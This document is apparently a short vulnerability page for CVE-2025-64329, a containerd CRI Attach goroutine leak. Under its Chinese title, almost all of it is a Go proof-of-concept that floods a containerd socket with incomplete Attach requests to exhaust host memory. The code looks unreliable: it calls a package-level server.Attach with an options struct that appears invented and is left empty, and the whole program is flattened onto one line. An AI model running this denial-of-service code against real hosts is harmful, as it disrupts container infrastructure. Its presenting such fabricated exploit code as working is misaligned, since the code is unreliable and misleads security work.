containerd CRI Attach goroutine泄漏导致拒绝服务漏洞 (CVE-2025-64329)

// CVE-2025-64329 PoC - containerd CRI Attach Memory Exhaustion // This PoC demonstrates goroutine leak in containerd CRI Attach // Usage: Run against a vulnerable containerd instance package main import ( "context" "fmt" "time" "github.com/containerd/containerd" "github.com/containerd/containerd/pkg/cri/server" ) func main() { // Connect to containerd socket conn, err := containerd.New("/run/containerd/containerd.sock") if err != nil { panic(err) } defer conn.Close() ctx := context.Background() // Get list of running containers containers, err := conn.Containers(ctx) if err != nil { panic(err) } fmt.Printf("Found %d containers\n", len(containers)) // Attack: Rapidly trigger Attach requests without proper cleanup // Each request creates a goroutine that leaks if connection is not properly closed for i := 0; i < 1000; i++ { for _, container := range containers { go func() { // Create attach request but never complete it // This triggers goroutine creation without cleanup _, _ = server.Attach(ctx, container.ID(), server.AttachOptions{ // Malformed or incomplete attach request }) }() } if i%100 == 0 { fmt.Printf("Sent %d attach requests...\n", i) } // Rapid fire to exhaust memory time.Sleep(10 * time.Millisecond) } fmt.Println("Attack complete - check host memory usage") }